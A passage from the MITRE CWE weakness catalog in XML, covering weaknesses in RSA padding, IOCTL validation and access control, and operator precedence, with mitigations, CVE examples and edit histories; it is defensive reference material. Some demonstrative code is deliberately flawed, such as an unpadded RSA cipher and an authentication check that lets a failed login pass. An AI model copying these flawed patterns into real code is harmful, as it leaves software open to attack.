               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">OS Command Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-01-12">Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Preserve OS Command Structure (aka 'OS Command Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-07-27">Failure to Preserve OS Command Structure ('OS Command Injection')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="780" Name="Use of RSA Algorithm without OAEP" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.</Description>
         <Extended_Description>Padding schemes are often used with cryptographic algorithms to make the plaintext less predictable and complicate attack efforts. The OAEP scheme is often used with RSA to nullify the impact of predictable common text.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="327" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>Without OAEP in RSA encryption, it will take less work for an attacker to decrypt the data or to infer patterns from the ciphertext.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The example below attempts to build an RSA cipher.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public Cipher getRSACipher() {<xhtml:div style="margin-left:1em;">Cipher rsa = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");</xhtml:div>}<xhtml:br/>catch (java.security.NoSuchAlgorithmException e) {<xhtml:div style="margin-left:1em;">log("this should never happen", e);</xhtml:div>}<xhtml:br/>catch (javax.crypto.NoSuchPaddingException e) {<xhtml:div style="margin-left:1em;">log("this should never happen", e);</xhtml:div>}<xhtml:br/>return rsa;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the previous code successfully creates an RSA cipher, the cipher does not use padding. The following code creates an RSA cipher using OAEP.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public Cipher getRSACipher() {<xhtml:div style="margin-left:1em;">Cipher rsa = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWithMD5AndMGF1Padding");</xhtml:div>}<xhtml:br/>catch (java.security.NoSuchAlgorithmException e) {<xhtml:div style="margin-left:1em;">log("this should never happen", e);</xhtml:div>}<xhtml:br/>catch (javax.crypto.NoSuchPaddingException e) {<xhtml:div style="margin-left:1em;">log("this should never happen", e);</xhtml:div>}<xhtml:br/>return rsa;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-694"/>
            <Reference External_Reference_ID="REF-695"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry could probably have a new parent related to improper padding, however the role of padding in cryptographic algorithms can vary, such as hiding the length of the plaintext and providing additional random bits for the cipher. In general, cryptographic problems in CWE are not well organized and further research is needed.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Organization>Fortify Software</Submission_Organization>
               <Submission_Date>2009-07-08</Submission_Date>
               <Submission_Comment>Based on information from Fortify Software.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="781" Name="Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product defines an IOCTL that uses METHOD_NEITHER for I/O, but it does not validate or incorrectly validates the addresses that are provided.</Description>
         <Extended_Description>When an IOCTL uses the METHOD_NEITHER option for I/O control, it is the responsibility of the IOCTL to validate the addresses that have been supplied to it. If validation is missing or incorrect, attackers can supply arbitrary memory addresses, leading to code execution or a denial of service.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1285" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="822" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Operating_System Name="Windows NT" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>An attacker may be able to access memory that belongs to another process or user. If the attacker can control the contents that the IOCTL writes, it may lead to code execution at high privilege levels. At the least, a crash can occur.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If METHOD_NEITHER is required for the IOCTL, then ensure that all user-space addresses are properly validated before they are first accessed. The ProbeForRead and ProbeForWrite routines are available for this task. Also properly protect and manage the user-supplied buffers, since the I/O Manager does not do this when METHOD_NEITHER is being used. See References.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If possible, avoid using METHOD_NEITHER in the IOCTL and select methods that effectively control the buffer size, such as METHOD_BUFFERED, METHOD_IN_DIRECT, or METHOD_OUT_DIRECT.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>If the IOCTL is part of a driver that is only intended to be accessed by trusted users, then use proper access control for the associated device or device namespace. See References.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2006-2373</Reference>
               <Description>Driver for file-sharing and messaging protocol allows attackers to execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2373</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0686</Reference>
               <Description>Anti-virus product does not validate addresses, allowing attackers to gain SYSTEM privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0686</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0824</Reference>
               <Description>DVD software allows attackers to cause a crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0824</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5724</Reference>
               <Description>Personal firewall allows attackers to gain SYSTEM privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5724</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5756</Reference>
               <Description>chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5756</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-696"/>
            <Reference External_Reference_ID="REF-697"/>
            <Reference External_Reference_ID="REF-698"/>
            <Reference External_Reference_ID="REF-699"/>
            <Reference External_Reference_ID="REF-700"/>
            <Reference External_Reference_ID="REF-701"/>
            <Reference External_Reference_ID="REF-702"/>
         </References>
         <Notes>
            <Note Type="Applicable Platform">
               <xhtml:p>Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.</xhtml:p>
            </Note>
            <Note Type="Research Gap">
               <xhtml:p>While this type of issue has been known since 2006, it is probably still under-studied and under-reported. Most of the focus has been on high-profile software and security products, but other kinds of system software also use drivers. Since exploitation requires the development of custom code, it requires some skill to find this weakness.</xhtml:p>
               <xhtml:p>Because exploitation typically requires local privileges, it might not be a priority for active attackers. However, remote exploitation may be possible for software such as device drivers. Even when remote vectors are not available, it may be useful as the final privilege-escalation step in multi-stage remote attacks against application-layer software, or as the primary attack by a local user on a multi-user system.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-07-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="782" Name="Exposed IOCTL with Insufficient Access Control" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product implements an IOCTL with functionality that should be restricted, but it does not properly enforce access control for the IOCTL.</Description>
         <Extended_Description>
            <xhtml:p>When an IOCTL contains privileged functionality and is exposed unnecessarily, attackers may be able to access this functionality by invoking the IOCTL. Even if the functionality is benign, if the programmer has assumed that the IOCTL would only be accessed by a trusted process, there may be little or no validation of the incoming data, exposing weaknesses that would never be reachable if the attacker cannot call the IOCTL directly.</xhtml:p>
            <xhtml:p>The implementations of IOCTLs will differ between operating system types and versions, so the methods of attack and prevention may vary widely.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="749" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="781" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
            <Language Name="C++" Prevalence="Often"/>
            <Operating_System Class="Unix" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Note>Attackers can invoke any functionality that the IOCTL offers. Depending on the functionality, the consequences may include code execution, denial-of-service, and theft of data.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>In Windows environments, use proper access control for the associated device or device namespace. See References.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-2208</Reference>
               <Description>Operating system does not enforce permissions on an IOCTL that can be used to modify network settings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2208</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3831</Reference>
               <Description>Device driver does not restrict ioctl calls to its direct rendering manager.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3831</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3525</Reference>
               <Description>ioctl does not check for a required capability before processing certain requests.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3525</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0322</Reference>
               <Description>Chain: insecure device permissions allows access to an IOCTL, allowing arbitrary memory to be overwritten.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0322</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4277</Reference>
               <Description>Chain: anti-virus product uses weak permissions for a device, leading to resultant buffer overflow in an exposed IOCTL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4277</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1400</Reference>
               <Description>Chain: sandbox allows opening of a TTY device, enabling shell commands through an exposed ioctl.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1400</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4926</Reference>
               <Description>Anti-virus product uses insecure security descriptor for a device driver, allowing access to a privileged IOCTL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4926</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0728</Reference>
               <Description>Unauthorized user can disable keyboard or mouse by directly invoking a privileged IOCTL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0728</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-701"/>
         </References>
         <Notes>
            <Note Type="Relationship">This can be primary to many other weaknesses when the programmer assumes that the IOCTL can only be accessed by trusted parties. For example, a program or driver might not validate incoming addresses in METHOD_NEITHER IOCTLs in Windows environments (CWE-781), which could allow buffer overflow and similar attacks to take place, even when the attacker never should have been able to access the IOCTL at all.</Note>
            <Note Type="Applicable Platform">
               <xhtml:p>Because IOCTL functionality is typically performing low-level actions and closely interacts with the operating system, this weakness may only appear in code that is written in low-level languages.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-07-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="783" Name="Operator Precedence Logic Error" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses an expression in which operator precedence causes incorrect logic to be used.</Description>
         <Extended_Description>While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="670" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Rarely"/>
            <Language Name="C++" Prevalence="Rarely"/>
            <Language Class="Not Language-Specific" Prevalence="Rarely"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>Logic errors related to operator precedence may cause problems even during normal operation, so they are probably discovered quickly during the testing phase. If testing is incomplete or there is a strong reliance on manual review of the code, then these errors may not be discovered before the software is deployed.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
               <Note>The consequences will vary based on the context surrounding the incorrect precedence. In a security decision, integrity or confidentiality are the most likely results. Otherwise, a crash may occur due to the software reaching an unexpected state.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Regularly wrap sub-expressions in parentheses, especially in security-critical code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define FAIL 0<xhtml:br/>#define SUCCESS 1<xhtml:br/>
                     <xhtml:br/>...<xhtml:br/>
                     <xhtml:br/>int validateUser(char *username, char *password) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>int isUser = FAIL;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// call method to authenticate username and password</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// if authentication fails then return failure otherwise return success</xhtml:i>
                           <xhtml:br/>if (isUser = AuthenticateUser(username, password) == FAIL) {<xhtml:div style="margin-left:1em;">return isUser;</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">isUser = SUCCESS;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return isUser;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=", the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>...<xhtml:br/>
                     <xhtml:br/>if ((isUser = AuthenticateUser(username, password)) == FAIL) {<xhtml:br/>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>double returnROI = 0.0;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// calculate return on investment</xhtml:i>
                           <xhtml:br/>returnROI = currentValue - initialInvestment / initialInvestment;<xhtml:br/>
                           <xhtml:br/>return returnROI;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>...<xhtml:br/>
                     <xhtml:br/>returnROI = (currentValue - initialInvestment) / initialInvestment;<xhtml:br/>
                     <xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-2516</Reference>
               <Description>Authentication module allows authentication bypass because it uses "(x = call(args) == SUCCESS)" instead of "((x = call(args)) == SUCCESS)".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2516</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0599</Reference>
               <Description>Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0599</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1155</Reference>
               <Description>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1155</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP00-C</Entry_ID>
               <Entry_Name>Use parentheses for precedence of operation</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP04-PL</Entry_ID>
